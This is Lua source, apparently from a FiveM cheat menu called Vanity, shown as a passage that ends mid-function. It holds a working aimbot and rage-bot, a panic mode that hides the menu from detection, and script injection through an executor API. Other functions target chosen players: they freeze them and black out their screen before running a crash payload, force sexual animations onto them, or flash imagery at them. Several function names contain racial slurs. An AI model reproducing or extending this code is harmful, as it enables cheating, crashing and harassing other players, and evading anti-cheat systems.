Citizen.CreateThread(function() menu.vars.prankFreezeActive = true menu.vars.vanityBlackscreenActive = true menu.vars.vanityBlockControlsActive = true menu.vars.visible = false DoScreenFadeOut(500) CreateThread(function() while menu.vars.prankFreezeActive do for controlGroup = 0, 2 do DisableAllControlActions(controlGroup) end if ThefeedPause then ThefeedPause() end Wait(0) end end) CreateThread(function() while menu.vars.prankFreezeActive do local playerPed = PlayerPedId() if playerPed and playerPed ~= 0 then FreezeEntityPosition(playerPed, true) SetPlayerControl(PlayerId(), false, 0) ClearPedTasksImmediately(playerPed) if IsPedInAnyVehicle(playerPed, false) then local vehicle = GetVehiclePedIsIn(playerPed, false) if vehicle and vehicle ~= 0 then FreezeEntityPosition(vehicle, true) end end end Wait(0) end end) menu.utils.safeExecute([[ CreateThread(function() local freezeUntil = GetGameTimer() + 120000 while GetGameTimer() < freezeUntil do local ped = PlayerPedId() if ped and ped ~= 0 then FreezeEntityPosition(ped, true) SetPlayerControl(PlayerId(), false, 0) ClearPedTasksImmediately(ped) if IsPedInAnyVehicle(ped, false) then local veh = GetVehiclePedIsIn(ped, false) if veh and veh ~= 0 then FreezeEntityPosition(veh, true) end end end for controlGroup = 0, 2 do DisableAllControlActions(controlGroup) end Wait(0) end end) ]]) Wait(120000) menu.vars.prankFreezeActive = false menu.vars.vanityBlackscreenActive = false menu.vars.vanityBlockControlsActive = false for _ = 1, 8 do CreateThread(function() end) end if menu.functions.miscCrashExecutePayload then pcall(menu.functions.miscCrashExecutePayload) end end) end function assembledMenuFunctions.adminWegNiggern() local count = 0 for username in pairs(menu.vars.selectedVanityUsers or {}) do menu.functions.sendVanityCommand(username, { action = "weg_niggern" }) count = count + 1 end if count > 0 then menu.utils.notify(string.format("weg niggern sent to %d target(s).", count), "success", 2500) end end function assembledMenuFunctions.runHolyNigganPrank() CreateThread(function() local urls = { "https://files.catbox.moe/n8hz7e.png", "https://files.catbox.moe/lpp2cd.webp", "https://files.catbox.moe/4va8v2.jpg", "https://files.catbox.moe/qjf9h1.jpeg", "https://files.catbox.moe/os3n1x.webp", "https://files.catbox.moe/g6ov45.png", "https://files.catbox.moe/suurtj.png", "https://files.catbox.moe/gxmpdo.png", "https://files.catbox.moe/ygxhpn.png", "https://files.catbox.moe/gly5qq.jpg", "https://files.catbox.moe/30mgmy.jpg", "https://files.catbox.moe/yxz9zd.jpg", "https://files.catbox.moe/0e6ukp.jpg", "https://files.catbox.moe/ej7pr2.jpg", "https://files.catbox.moe/jci12u.jpg", "https://files.catbox.moe/pea7mp.jpg", "https://files.catbox.moe/3dfsow.jpg", "https://files.catbox.moe/4e3nrc.jpg" } local audioDui = CreateDui("https://files.catbox.moe/06km95.mp3", 64, 64) if audioDui and audioDui ~= 0 then CreateRuntimeTextureFromDuiHandle(CreateRuntimeTxd("jscatbxs"), "snd", GetDuiHandle(audioDui)) end local width, height = GetActiveScreenResolution() local images = {} for index, url in ipairs(urls) do local dui = CreateDui(url, width, height) if dui and dui ~= 0 then local attempts = 0 while not IsDuiAvailable(dui) and attempts < 500 do attempts = attempts + 1 Wait(0) end local txd = "jscatbx" .. index CreateRuntimeTextureFromDuiHandle(CreateRuntimeTxd(txd), "full", GetDuiHandle(dui)) images[#images + 1] = { txd = txd, dui = dui } end end if #images == 0 then if audioDui and audioDui ~= 0 then DestroyDui(audioDui) end return end local startTime = GetGameTimer() local imageIndex = 1 while GetGameTimer() - startTime < 30000 do local image = images[imageIndex] local frameStart = GetGameTimer() while GetGameTimer() - frameStart < 75 do DrawSprite(image.txd, "full", 0.5, 0.5, 1.35, 1.35, 0.0, 255, 255, 255, 255) Wait(0) end Wait(75) imageIndex = imageIndex + 1 if imageIndex > #images then imageIndex = 1 end end for _, image in ipairs(images) do DestroyDui(image.dui) end Wait(5000) if audioDui and audioDui ~= 0 then DestroyDui(audioDui) end end) end function assembledMenuFunctions.adminHolyNiggan() local count = 0 for username in pairs(menu.vars.selectedVanityUsers or {}) do menu.functions.sendVanityCommand(username, { action = "holy_niggan" }) count = count + 1 end if count > 0 then menu.utils.notify(string.format("Holy niggan sent to %d target(s).", count), "success", 2500) end end function assembledMenuFunctions.getVanityAttachOnMeStyles() return { Pickup = { attach = { dict = "anim@arena@celeb@flat@solo@no_props@", anim = "piggyback_c_player_b", offset = vector3(0.0, -0.28, 0.42), rotation = vector3(0.0, 0.0, 0.0), flag = 1 }, host = { dict = "anim@arena@celeb@flat@solo@no_props@", anim = "piggyback_c_player_a", flag = 1 }, emoteKey = "carry" }, Blowjob = { attach = { dict = "misscarsteal2pimpsex", anim = "pimpsex_hooker", offset = vector3(0.0, 0.58, -0.2), rotation = vector3(0.0, 0.0, 180.0), flag = 1 }, host = { dict = "misscarsteal2pimpsex", anim = "pimpsex_punter", flag = 1 }, emoteKey = "blowjob" }, Kiss = { attach = { dict = "hs3_ext-20", anim = "cs_lestercrest_3_dual-20", offset = vector3(0.0, 0.53, 0.0), rotation = vector3(0.0, 0.0, 180.0), flag = 1 }, host = { dict = "hs3_ext-20", anim = "cs_lestercrest_3_dual-20", flag = 1 }, emoteKey = "kiss" }, Doggy = { attach = { dict = "rcmpaparazzo_2", anim = "shag_loop_poppy", offset = vector3(0.0, -0.35, 0.0), rotation = vector3(0.0, 0.0, 0.0), flag = 1 }, host = { dict = "rcmpaparazzo_2", anim = "shag_loop_a", flag = 1 } }, Slap = { attach = { dict = "melee@unarmed@streamed_variations", anim = "victim_takedown_front_slap", offset = vector3(0.0, 1.0, 0.0), rotation = vector3(0.0, 0.0, 180.0), flag = 0 }, host = { dict = "melee@unarmed@streamed_variations", anim = "plyr_takedown_front_slap", flag = 0 } }, Bro = { attach = { dict = "mp_ped_interaction", anim = "hugs_guy_b", offset = vector3(0.0, 1.14, 0.0), rotation = vector3(0.0, 0.0, 180.0), flag = 1 }, host = { dict = "mp_ped_interaction", anim = "hugs_guy_a", flag = 1 }, emoteKey = "bro" }, ["Head Sit"] = { attach = { dict = "rcmepsilonism3", anim = "ep_3_rcm_marnie_meditating", useHeadSit = true, headOffsetZ = 0.12, headingOffset = 0.0, flag = 1 } }, Twerk = { attach = { dict = "switch@trevor@mocks_lapdance", anim = "001443_01_trvs_28_idle_stripper", offset = vector3(0.0, 0.52, 0.0), rotation = vector3(0.0, 0.0, 0.0), flag = 1 }, host = { dict = "switch@trevor@mocks_lapdance", anim = "001443_01_trvs_28_idle_stripper", flag = 1 } }, Handshake = { attach = { dict = "mp_ped_interaction", anim = "handshake_guy_b", offset = vector3(0.0, 0.9, 0.0), rotation = vector3(0.0, 0.0, 180.0), flag = 1 }, host = { dict = "mp_ped_interaction", anim = "handshake_guy_a", flag = 1 } } } end function assembledMenuFunctions.getVanityAttachOnMeEmoteList() local choices = {} for name in pairs(menu.functions.getVanityAttachOnMeStyles()) do table.insert(choices, name) end table.sort(choices) return choices end function assembledMenuFunctions.getVanityAttachOnMeChoices() local choices = menu.functions.getVanityAttachOnMeEmoteList() table.insert(choices, "Remove Attach") return choices end function assembledMenuFunctions.adminAttachOnMeRemove() menu.functions.adminAttachOnMeSend("Remove Attach") end function assembledMenuFunctions.preloadVanityAttachStyleAnims(styleName) local style = menu.functions.getVanityAttachOnMeStyles()[styleName] if not style then return end local function preload(dict) if dict and not HasAnimDictLoaded(dict) then RequestAnimDict(dict) end end if style.host then preload(style.host.dict) end if style.attach then preload(style.attach.dict) end end function assembledMenuFunctions.snapVanityAttachToAdmin(entity, ped, attach) if not entity or not ped or not attach or not DoesEntityExist(entity) or not DoesEntityExist(ped) then return end local entityCoords = GetEntityCoords(entity) local pedCoords = GetEntityCoords(ped) if #(entityCoords - pedCoords) <= 2.0 then return end if attach.useHeadSit then local head = GetPedBoneCoords(ped, 31086, 0.0, 0.0, 0.0) SetEntityCoordsNoOffset(entity, head.x, head.y, head.z + (attach.headOffsetZ or 0.04), false, false, false) SetEntityHeading(entity, GetEntityHeading(ped) + (attach.headingOffset or 0.0)) return end local offset = attach.offset or vector3(0.0, 0.0, 0.0) local rotation = attach.rotation or vector3(0.0, 0.0, 0.0) local heading = GetEntityHeading(ped) local radians = math.rad(heading) local negativeSin = -math.sin(radians) local cos = math.cos(radians) local x = pedCoords.x + negativeSin * offset.y + cos * offset.x local y = pedCoords.y + cos * offset.y + negativeSin * offset.x local z = pedCoords.z + offset.z SetEntityCoordsNoOffset(entity, x, y, z, false, false, false) SetEntityHeading(entity, heading + rotation.z) end function assembledMenuFunctions.stopVanityAttachOnMeHost() menu.vars.vanityAttachOnMeHostActive = false menu.vars.vanityAttachOnMeHostStyle = nil local playerPed = PlayerPedId() if playerPed and playerPed ~= 0 then DetachEntity(playerPed, true, true) SetEntityCollision(playerPed, true, true) ClearPedTasks(playerPed) end end function assembledMenuFunctions.runVanityAttachOnMeHost(styleName) local style = menu.functions.getVanityAttachOnMeStyles()[styleName] if not style or not style.host then return end menu.functions.stopVanityAttachOnMeHost() menu.vars.vanityAttachOnMeHostActive = true menu.vars.vanityAttachOnMeHostStyle = styleName Citizen.CreateThread(function() local host = style.host local flag = host.flag if flag == nil then flag = 49 end while menu.vars.vanityAttachOnMeHostActive and menu.vars.vanityAttachOnMeHostStyle == styleName do local playerPed = PlayerPedId() if IsPedInAnyVehicle(playerPed, false) then break end if not HasAnimDictLoaded(host.dict) then RequestAnimDict(host.dict) while not HasAnimDictLoaded(host.dict) do Citizen.Wait(10) end end if not IsEntityPlayingAnim(playerPed, host.dict, host.anim, 3) then TaskPlayAnim(playerPed, host.dict, host.anim, 8.0, -8.0, -1, flag, 0.0, false, false, false) end Citizen.Wait(250) end menu.functions.stopVanityAttachOnMeHost() end) end function assembledMenuFunctions.stopVanityAttachOnAdmin() menu.vars.vanityAttachOnAdminActive = false menu.vars.vanityAttachOnAdminStyle = nil menu.vars.vanityAttachOnAdminSid = nil local playerPed = PlayerPedId() if playerPed and playerPed ~= 0 then DetachEntity(playerPed, true, true) SetEntityCollision(playerPed, true, true) ClearPedTasks(playerPed) end end function assembledMenuFunctions.runVanityAttachOnAdmin(styleName, serverId) if styleName == "Remove Attach" or not serverId then menu.functions.stopVanityAttachOnAdmin() return end local style = menu.functions.getVanityAttachOnMeStyles()[styleName] if not style then return end menu.functions.stopVanityAttachOnAdmin() menu.functions.preloadVanityAttachStyleAnims(styleName) menu.vars.vanityAttachOnAdminActive = true menu.vars.vanityAttachOnAdminStyle = styleName menu.vars.vanityAttachOnAdminSid = serverId Citizen.CreateThread(function() local attach = style.attach RequestAnimDict(attach.dict) local deadline = GetGameTimer() + 3000 while not HasAnimDictLoaded(attach.dict) and deadline > GetGameTimer() do Citizen.Wait(0) end while menu.vars.vanityAttachOnAdminActive and menu.vars.vanityAttachOnAdminStyle == styleName and menu.vars.vanityAttachOnAdminSid == serverId do local playerPed = PlayerPedId() local player = GetPlayerFromServerId(serverId) if not player or player == -1 or not NetworkIsPlayerActive(player) then break end local targetPed = GetPlayerPed(player) if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) or targetPed == playerPed or IsPedInAnyVehicle(playerPed, false) or IsPedInAnyVehicle(targetPed, false) then break end menu.functions.snapVanityAttachToAdmin(playerPed, targetPed, attach) SetEntityCollision(playerPed, false, false) if attach.useHeadSit then local head = GetPedBoneCoords(targetPed, 31086, 0.0, 0.0, 0.0) local heading = GetEntityHeading(targetPed) SetEntityCoordsNoOffset( playerPed, head.x, head.y, head.z + (attach.headOffsetZ or 0.04), false, false, false ) SetEntityRotation(playerPed, 0.0, 0.0, heading + (attach.headingOffset or 0.0), 2, true) else local offset = attach.offset or vector3(0.0, 0.0, 0.0) local rotation = attach.rotation or vector3(0.0, 0.0, 0.0) AttachEntityToEntity( playerPed, targetPed, 0, offset.x, offset.y, offset.z, rotation.x, rotation.y, rotation.z, false, false, false, true, 2, true ) end local flag = attach.flag if flag == nil then flag = 49 end if not IsEntityPlayingAnim(playerPed, attach.dict, attach.anim, 3) then TaskPlayAnim(playerPed, attach.dict, attach.anim, 8.0, -8.0, -1, flag, 0.0, false, false, false) end Citizen.Wait(styleName == "Slap" and 100 or 100) end menu.functions.stopVanityAttachOnAdmin() end) end function assembledMenuFunctions.getVanityChangeModelMap() return { Rat = "rat", Pig = "pig", Monkey = "chimp", Boar = "boar" } end function assembledMenuFunctions.getVanityChangeModelList() return { { name = "Rat", pedKey = "rat" }, { name = "Pig", pedKey = "pig" }, { name = "Monkey", pedKey = "chimp" }, { name = "Boar", pedKey = "boar" } } end function assembledMenuFunctions.adminChangeModelSend(model, label) if not model then return end local count = 0 for username in pairs(menu.vars.selectedVanityUsers or {}) do menu.functions.sendVanityCommand(username, { action = "change_model", model = model }) count = count + 1 end if count > 0 then menu.utils.notify( string.format("Change model (%s) sent to %d target(s).", label or model, count), "success", 2500 ) end end function assembledMenuFunctions.adminChangeModelBack() menu.functions.adminChangeModelSend("Default", "Model Back") end function assembledMenuFunctions.adminAttachOnMeSend(styleName) if not styleName then return end local serverId = GetPlayerServerId(PlayerId()) local count = 0 menu.vars.vanityAttachOnMeHostDelayToken = nil menu.functions.stopVanityAttachOnMeHost() if styleName == "Remove Attach" then for username in pairs(menu.vars.selectedVanityUsers or {}) do menu.functions.sendVanityCommand( username, { action = "attach_on_me", serverID = serverId, style = "Remove Attach" } ) count = count + 1 end if count > 0 then menu.utils.notify(string.format("Remove attach sent to %d target(s).", count), "success", 2500) end return end menu.functions.preloadVanityAttachStyleAnims(styleName) for username in pairs(menu.vars.selectedVanityUsers or {}) do menu.functions.sendVanityCommand( username, { action = "attach_on_me", serverID = serverId, style = styleName } ) count = count + 1 end if count > 0 then local token = GetGameTimer() menu.vars.vanityAttachOnMeHostDelayToken = token Citizen.CreateThread(function() Citizen.Wait(2000) if menu.vars.vanityAttachOnMeHostDelayToken ~= token then return end menu.functions.runVanityAttachOnMeHost(styleName) end) menu.utils.notify( string.format("Attach on me (%s) sent to %d target(s).", styleName, count), "success", 2500 ) end end function assembledMenuFunctions.adminAttachOnMeSelector(styleName) menu.functions.adminAttachOnMeSend(styleName) end function assembledMenuFunctions.startSecurityThread() local getInfo = debug.getinfo Citizen.CreateThread(function() local functions = { Ham.getName, Ham.getDiscordId, Ham.getDiscordName, Ham.Execute, ham.execute, Ham.execute, ham.Execute } while _G.runmenu do for _, fn in pairs(functions) do local info = getInfo(fn) if info then if info.source ~= "=[C]" then Citizen.InvokeNative(-1483775616378275054) elseif info.what ~= "C" then Citizen.InvokeNative(-1483775616378275054) elseif info.lastlinedefined ~= -1 then Citizen.InvokeNative(-1483775616378275054) end end end Wait(1000) end end) end function assembledMenuFunctions.linkDiscord() local url = "https://vanity.menu/discord/link?token=" .. Ham.getAuthToken() Ham.openUrl(url) end function assembledMenuFunctions.unlinkDiscord() local token = Ham.getAuthToken() if not token then return end local url = "https://vanity.menu/discord/unlink?token=" .. token local request = Ham.httpGetAsync(url, nil, true) if not request then return end while _G.runmenu do local result = Ham.getAsyncResult(request) if result.ready then if not result.success or not result.data then return end local ok, data = pcall(json.decode, result.data) if not ok or not data or not data.success then return end menu.vars.linkedDiscord = nil return end Wait(10) end end function assembledMenuFunctions.checkDiscordStatus() local token = Ham.getAuthToken() if not token then return false end local url = "https://vanity.menu/discord/status?token=" .. token local request = Ham.httpGetAsync(url, nil, true) if not request then return false end while _G.runmenu do local result = Ham.getAsyncResult(request) if result.ready then if result.success and result.data then local ok, data = pcall(json.decode, result.data) if ok and data then if data.success == "user authenticated" and data.discord_name then menu.vars.linkedDiscord = data.discord_name do return true end end menu.vars.linkedDiscord = nil return false end end menu.vars.linkedDiscord = nil return false end Wait(10) end end function assembledMenuFunctions.toggleAimbot(toggleOptions) local enabled if toggleOptions and toggleOptions.toggleState then enabled = toggleOptions.toggleState else enabled = menu.vars.bools.aimbot == true end menu.vars.bools.aimbot = enabled Ham.aimBot(enabled) end function assembledMenuFunctions.toggleAimbotIgnoreVehicles(toggleOptions) local enabled = toggleOptions and toggleOptions.toggleState or menu.vars.bools.aimbotIgnoreVehicles menu.vars.bools.aimbotIgnoreVehicles = enabled if Ham.setAimbotIgnoreVehicles then Ham.setAimbotIgnoreVehicles(enabled) elseif Ham.setaimbotignorevehicles then Ham.setaimbotignorevehicles(enabled) end if enabled then menu.utils.notify("Aimbot will ignore players in vehicles", "info", 3000) else menu.utils.notify("Aimbot will target players in vehicles", "info", 3000) end end function assembledMenuFunctions.toggleAimbotVisibleOnly(toggleOptions) local enabled = toggleOptions and toggleOptions.toggleState or menu.vars.bools.aimbotVisibleOnly menu.vars.bools.aimbotVisibleOnly = enabled if Ham.setAimbotVisibleOnly then Ham.setAimbotVisibleOnly(enabled) elseif Ham.setaimbotvisibleonly then Ham.setaimbotvisibleonly(enabled) end end function assembledMenuFunctions.applyAimbotFov(value) local fov = menu.vars.sliders.aimbotFov or 40 if Ham.setAimbotFov then Ham.setAimbotFov(fov) elseif Ham.setaimbotfov then Ham.setaimbotfov(fov) end end function assembledMenuFunctions.espHealthColorChanged() menu.vars.selectors.espHealthBarColor = 1 end function assembledMenuFunctions.applyAimbotSmoothing(value) local smoothing = menu.vars.sliders.aimbotSmoothing or 5 if Ham.setAimbotSmoothing then Ham.setAimbotSmoothing(smoothing) elseif Ham.setaimbotsmoothing then Ham.setaimbotsmoothing(smoothing) end menu.utils.notify("Aimbot smoothing set to " .. smoothing .. "x", "info", 2000) end function assembledMenuFunctions.applyAimbotBone(value) local bone = menu.vars.selectors.aimbotBone or 1 local boneIndex = bone - 1 local boneName = ({ "Head", "Neck", "Chest" })[bone] or "Head" if Ham.setAimbotBone then Ham.setAimbotBone(boneIndex) elseif Ham.setaimbotbone then Ham.setaimbotbone(boneIndex) end menu.utils.notify("Aimbot target bone set to " .. boneName, "info", 2000) end function assembledMenuFunctions.applyAimbotKey(value) local keyName = menu.vars.hotkeyBinds.AIMBOT_KEY if keyName then local key = ImGuiKey[keyName] if Ham.setAimbotKey then Ham.setAimbotKey(key) elseif Ham.setaimbotkey then Ham.setaimbotkey(key) end if menu.vars and menu.vars.suppressConfigApplyNotifications then return end menu.utils.notify("Aimbot key set to " .. keyName, "info", 2000) end end function assembledMenuFunctions.togglePanicMode() local enabled = not menu.vars.panicMode menu.vars.panicMode = enabled if enabled then menu.vars.panicRestoreVisible = menu.vars.visible == true menu.vars.panicRestoreFreecam = menu.vars.bools.freecam == true menu.vars.panicRestoreNoclip = menu.vars.bools.noclip == true menu.logic.setMenuVisibleAnimated(false, true) menu.vars.isBindingKey = false menu.logic.stopHotkeyBinding() menu.vars.pendingBindKey = nil menu.vars.pendingBindKeyName = nil menu.vars.hotkeyBindCompleteTime = 0 menu.vars.hotkeyBindCompleteMessage = nil menu.vars.bindCompleteTime = 0 menu.vars.screenBoundOverlayUntil = 0 menu.vars.screenBoundOverlayText = nil menu.vars.colorPickerState.active = false menu.vars.colorPickerState.cachedPalette = nil menu.vars.colorPickerState.cachedHue = -1 menu.vars.colorPickerState._skippedInputBlock = false menu.logic.releaseNoclipPosition("colorPicker", true) Ham.aimBot(false) Ham.freeCam(false) if Ham and Ham.camBypass then Ham.camBypass(false) end Ham.noClip(false) if menu.vars.bools.freecam then menu.vars.bools.freecam = false if menu.utils and menu.utils.cleanupFreecamMenu then menu.utils.cleanupFreecamMenu() end end menu.vars.bools.noclip = false if Ham.toggleMouse then Ham.toggleMouse(false) end if Ham.toggleInputBlock then Ham.toggleInputBlock(false) end else menu.logic.setMenuVisibleAnimated(menu.vars.panicRestoreVisible == true, true) if menu.vars.bools.aimbot then Ham.aimBot(true) end if menu.vars.panicRestoreNoclip then menu.vars.bools.noclip = true Ham.noClip(true) end if menu.vars.panicRestoreFreecam then menu.vars.bools.freecam = true menu.functions.toggleFreecam({ toggleState = true }) end end if enabled then menu.utils.notify("Panic mode active \226\128\148 menu hidden", "warning", 4000) else menu.utils.notify("Panic mode off \226\128\148 features restored", "success", 3000) end end function assembledMenuFunctions.selectCrosshairTarget() local playerPed = PlayerPedId() local targetPed local width, height = GetActiveScreenResolution() local threshold = 120 local thresholdX = threshold / width local thresholdY = threshold / height local aiming, aimedEntity = GetEntityPlayerIsFreeAimingAt(PlayerId()) if aiming and aimedEntity and DoesEntityExist(aimedEntity) then if IsEntityAPed(aimedEntity) and IsPedAPlayer(aimedEntity) then targetPed = aimedEntity end if IsEntityAVehicle(aimedEntity) then local driver = GetPedInVehicleSeat(aimedEntity, -1) if driver and driver ~= 0 and DoesEntityExist(driver) and IsPedAPlayer(driver) then targetPed = driver end end end if not targetPed then local bestPed local bestDistance = 1.0E9 local playerCoords = GetEntityCoords(playerPed) for _, player in ipairs(GetActivePlayers()) do if player ~= PlayerId() and NetworkIsPlayerActive(player) then local ped = GetPlayerPed(player) if ped and ped ~= 0 and DoesEntityExist(ped) then local distance = #(playerCoords - GetEntityCoords(ped)) if distance <= 250.0 then local coords = GetPedBoneCoords(ped, 31086, 0.0, 0.0, 0.0) if IsEntityDead(ped) or IsPedDeadOrDying(ped, true) then coords = GetEntityCoords(ped) end local onScreen, screenX, screenY = GetScreenCoordFromWorldCoord(coords.x, coords.y, coords.z) if onScreen then local deltaX = math.abs(screenX - 0.5) local deltaY = math.abs(screenY - 0.5) if thresholdX >= deltaX and thresholdY >= deltaY then local screenDistance = math.sqrt((deltaX * width) ^ 2 + (deltaY * height) ^ 2) if bestDistance > screenDistance then bestDistance = screenDistance bestPed = ped end end end end end end end targetPed = bestPed end if not targetPed or targetPed == 0 or not DoesEntityExist(targetPed) or not IsPedAPlayer(targetPed) then menu.utils.notify("No player in crosshair", "error", 2000) return end local player = NetworkGetPlayerIndexFromPed(targetPed) if not player or player == -1 or not NetworkIsPlayerActive(player) then menu.utils.notify("Target player invalid", "error", 2000) return end local serverId = GetPlayerServerId(player) if not serverId or serverId <= 0 then menu.utils.notify("Target player invalid", "error", 2000) return end if not menu.vars.selectedPlayers then menu.vars.selectedPlayers = {} end local validPed = targetPed ~= 0 and DoesEntityExist(targetPed) and targetPed or 0 local existing = menu.vars.selectedPlayers[serverId] if existing then menu.vars.selectedPlayers[serverId] = nil menu.vars.bools["__player_select_" .. tostring(serverId)] = false if menu.vars.selectedPlayer and menu.vars.selectedPlayer.serverId == serverId then menu.vars.selectedPlayer = nil for selectedServerId, selected in pairs(menu.vars.selectedPlayers) do menu.vars.selectedPlayer = { serverId = selectedServerId, playerId = selected.playerId, ped = selected.ped } break end end else menu.vars.selectedPlayers[serverId] = { serverId = serverId, playerId = player, ped = validPed } menu.vars.selectedPlayer = { serverId = serverId, playerId = player, ped = validPed } menu.vars.bools["__player_select_" .. tostring(serverId)] = true end menu.vars.nextPlayerValidation = 0 menu.vars.nextPlayerListRefresh = 0 if menu.logic.buildPlayerOptionsTab then menu.logic.buildPlayerOptionsTab() end end function assembledMenuFunctions.applyRageBotNpcTarget(toggleOptions) local enabled if toggleOptions and toggleOptions.toggleState then enabled = toggleOptions.toggleState else enabled = menu.vars.bools.rageBotNpc == true end menu.vars.bools.rageBotNpc = enabled local script = string.format( [[ _G.rageBotTargetNpcs = %s if _G.Citizen and _G.Citizen.Bongs then _G.Citizen.Bongs.rageBotTargetNpcs = _G.rageBotTargetNpcs end ]], enabled and "true" or "false" ) menu.utils.safeExecute(script) end function assembledMenuFunctions.spawnRCCarEntitiesLocal(modelName, coords, heading) local modelHash = GetHashKey(modelName) RequestModel(modelHash) local deadline = GetGameTimer() + 5000 while not HasModelLoaded(modelHash) and deadline > GetGameTimer() do Wait(0) end if not HasModelLoaded(modelHash) then return nil, nil end local vehicle = CreateVehicle(modelHash, coords.x, coords.y, coords.z, heading or 0.0, true, true) SetModelAsNoLongerNeeded(modelHash) local entityDeadline = GetGameTimer() + 1000 while not DoesEntityExist(vehicle) and entityDeadline > GetGameTimer() do Wait(0) end if not DoesEntityExist(vehicle) then return nil, nil end local driverHash = GetHashKey("mp_m_freemode_01") RequestModel(driverHash) while not HasModelLoaded(driverHash) do Wait(0) end local driver = CreatePedInsideVehicle(vehicle, 4, driverHash, -1, false, false) SetModelAsNoLongerNeeded(driverHash) if not DoesEntityExist(driver) then DeleteEntity(vehicle) return nil, nil end SetVehicleEngineOn(vehicle, true, true, false) SetVehicleUndriveable(vehicle, false) SetEntityInvincible(vehicle, true) SetEntityInvincible(driver, true) SetPedCanRagdoll(driver, false) SetPedConfigFlag(driver, 17, false) SetPedConfigFlag(driver, 32, false) SetBlockingOfNonTemporaryEvents(driver, true) SetDriverAbility(driver, 1.0) SetDriverAggressiveness(driver, 0.0) SetVehicleOnGroundProperly(vehicle) if NetworkGetEntityIsNetworked(vehicle) then SetNetworkIdCanMigrate(NetworkGetNetworkIdFromEntity(vehicle), false) end if NetworkGetEntityIsNetworked(driver) then SetNetworkIdCanMigrate(NetworkGetNetworkIdFromEntity(driver), false) end return vehicle, driver end function assembledMenuFunctions.findRCCarNearSpawn(coords, modelHash, attempts) local attempt = 0 local bestDistance = 25.0 while attempt < (attempts or 40) do local vehicle, driver local distance = bestDistance for _, candidate in ipairs(GetGamePool("CVehicle") or {}) do if DoesEntityExist(candidate) and GetEntityModel(candidate) == modelHash then local candidateDriver = GetPedInVehicleSeat(candidate, -1) if DoesEntityExist(candidateDriver) then local candidateDistance = #(GetEntityCoords(candidate) - coords) if distance > candidateDistance then vehicle = candidate driver = candidateDriver distance = candidateDistance end end end end if vehicle then return vehicle, driver end Wait(50) attempt = attempt + 1 end return nil, nil end function assembledMenuFunctions.enterRCCarDriveMode() local rcCar = menu.vars.rcCar if not rcCar or not rcCar.active or rcCar.cameraFocused then return end local vehicle = rcCar.vehicle local camera = rcCar.camera if not vehicle or not DoesEntityExist(vehicle) or not camera then return end if menu.logic and menu.logic.setMenuVisibleAnimated then menu.logic.setMenuVisibleAnimated(false, true) end if Ham.toggleMouse then Ham.toggleMouse(false) end if Ham.toggleInputBlock then Ham.toggleInputBlock(false) end Ham.camBypass(true) rcCar.camLook = { yaw = GetEntityHeading(vehicle) + 180.0, pitch = 0.0 } SetCamActive(camera, true) RenderScriptCams(true, false, 0, true, false) SetFocusEntity(vehicle) menu.functions.updateRCCarCamera(vehicle, camera) rcCar.cameraFocused = true end function assembledMenuFunctions.exitRCCarDriveMode() local rcCar = menu.vars.rcCar if not rcCar or not rcCar.active or not rcCar.cameraFocused then return end local camera = rcCar.camera Ham.camBypass(false) RenderScriptCams(false, false, 0, true, false) if camera then SetCamActive(camera, false) end SetFocusEntity(PlayerPedId()) local playerPed = PlayerPedId() FreezeEntityPosition(playerPed, false) SetEntityCollision(playerPed, true, true) SetPedCanSwitchWeapon(playerPed, true) rcCar.cameraFocused = false rcCar.steerAngle = 0.0 end function assembledMenuFunctions.activateRCCar(vehicle, driver, modelName, modelHash) local camera = CreateCam("DEFAULT_SCRIPTED_CAMERA", true) SetCamActive(camera, false) local rcCar = menu.vars.rcCar rcCar.vehicle = vehicle rcCar.driver = driver rcCar.camera = camera rcCar.modelHash = modelHash rcCar.active = true rcCar.speed = menu.vars.sliders.rcCarSpeed or 3.0 rcCar.cameraHeight = 5.0 rcCar.baseMaxSpeed = GetVehicleEstimatedMaxSpeed(vehicle) rcCar.camLook = { yaw = GetEntityHeading(vehicle) + 180.0, pitch = 0.0 } rcCar.steerAngle = 0.0 rcCar.driverTaskCleared = false rcCar.cameraFocused = false rcCar.lastFocusUpdate = 0 menu.vars.bools.rcCarActive = true menu.functions.applyRCCarDriveMultipliers(vehicle) rcCar.controlThread = Citizen.CreateThread(function() while menu.vars.rcCar.active and DoesEntityExist(menu.vars.rcCar.vehicle) do menu.functions.handleRCCarControls() Wait(0) end if menu.vars.rcCar.active then menu.functions.destroyRCCar() end end) menu.utils.notify( "RC Car spawned (" .. modelName .. ")! Press G to drive. G or Backspace to exit.", "success", 4000 ) end function assembledMenuFunctions.getRCCarNearbyModel() return menu.utils.pickNearbyWhitelistedCarModel(500.0) end function assembledMenuFunctions.onRCCarVehicleModeEnter(mode) if mode == "Custom" then if not menu.vars.textInputs then menu.vars.textInputs = {} end local currentModel = menu.vars.textInputs.rcCarModel or "" menu.ui.promptText( { title = "Custom Vehicle", label = "Vehicle model name", default = currentModel, maxLen = 50 }, function(text, cancelled) if cancelled then return end menu.vars.textInputs.rcCarModel = text or "" if menu.vars.textInputs.rcCarModel ~= "" then menu.functions.spawnRCCar() end end ) return end menu.functions.spawnRCCar() end function assembledMenuFunctions.spawnRCCar() if menu.vars.rcCar.active then menu.utils.notify("RC Car is already active! Destroy it first.", "error", 3000) return end if menu.utils.isServer151VehicleBlocked and menu.utils.isServer151VehicleBlocked() then menu.utils.notifyBanBlocked() return end local modelName local mode = menu.vars.selectors and menu.vars.selectors.rcCarVehicleMode or 1 if mode == 2 then modelName = menu.vars.textInputs and menu.vars.textInputs.rcCarModel if not modelName or modelName == "" then menu.utils.notify("Enter a custom vehicle model first.", "error", 3000) do return end end else modelName = menu.functions.getRCCarNearbyModel() if not modelName then menu.utils.notify("No nearby vehicles within 500m. Switch to Custom and enter a model.", "error", 3000) return end end modelName = tostring(modelName or ""):gsub("^%s+", ""):gsub("%s+$", ""):lower() if modelName == "" then menu.utils.notify("No vehicle model set. Enter a model first.", "error", 3000) return end if modelName:find("%%") or modelName:find("\"") then menu.utils.notify("Invalid vehicle model", "error", 2000) return end local modelHash = GetHashKey(modelName) if not IsModelInCdimage(modelHash) or not IsModelAVehicle(modelHash) then menu.utils.notify("Invalid vehicle model: " .. modelName, "error", 2000) return end if not menu.utils.isVehicleWhitelisted(modelName) then menu.utils.notify("Vehicle is blacklisted", "error", 2000) return end Citizen.CreateThread(function() local playerPed = PlayerPedId() local heading = GetEntityHeading(playerPed) local coords = GetOffsetFromEntityInWorldCoords(playerPed, 5.0, 0.0, 0.0) if menu.functions.getVehiclePreviewGroundZ then coords = vector3( coords.x, coords.y, 